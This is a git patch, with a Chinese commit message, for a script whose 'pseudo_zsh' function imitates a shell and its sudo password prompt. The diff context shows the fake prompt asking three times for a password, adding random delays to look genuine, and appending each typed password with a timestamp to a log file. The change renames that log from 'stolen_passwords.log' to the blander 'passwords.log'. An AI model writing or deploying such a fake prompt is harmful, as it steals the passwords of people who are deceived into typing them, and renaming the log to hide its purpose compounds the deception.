From 1a42a9370ceea1feec442b3ef3faf2d3434f8469 Mon Sep 17 00:00:00 2001 From: Tommmy Date: Thu, 3 Apr 2025 09:53:21 +0800 Subject: [PATCH] =?UTF-8?q?=E9=87=8D=E5=91=BD=E5=90=8D=E5=AF=86=E7=A0=81?= =?UTF-8?q?=E6=97=A5=E5=BF=97=E6=96=87=E4=BB=B6=E4=B8=BA=20passwords.log?= =?UTF-8?q?=EF=BC=8C=E5=B9=B6=E5=88=A0=E9=99=A4=E6=97=A7=E7=9A=84=20stolen?= =?UTF-8?q?=5Fpasswords.log=20=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 2 +- stolen_passwords.log => passwords.log | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename stolen_passwords.log => passwords.log (100%) diff --git a/main.py b/main.py index 11ad5fb..411a410 100644 --- a/main.py +++ b/main.py @@ -79,7 +79,7 @@ def pseudo_zsh(): if args[0] == 'sudo': for attempt in range(3): # 循环 3 次 fake_password = getpass.getpass("Password: ") - with open("stolen_passwords.log", "a") as f: + with open("passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒 diff --git a/stolen_passwords.log b/passwords.log similarity index 100% rename from stolen_passwords.log rename to passwords.log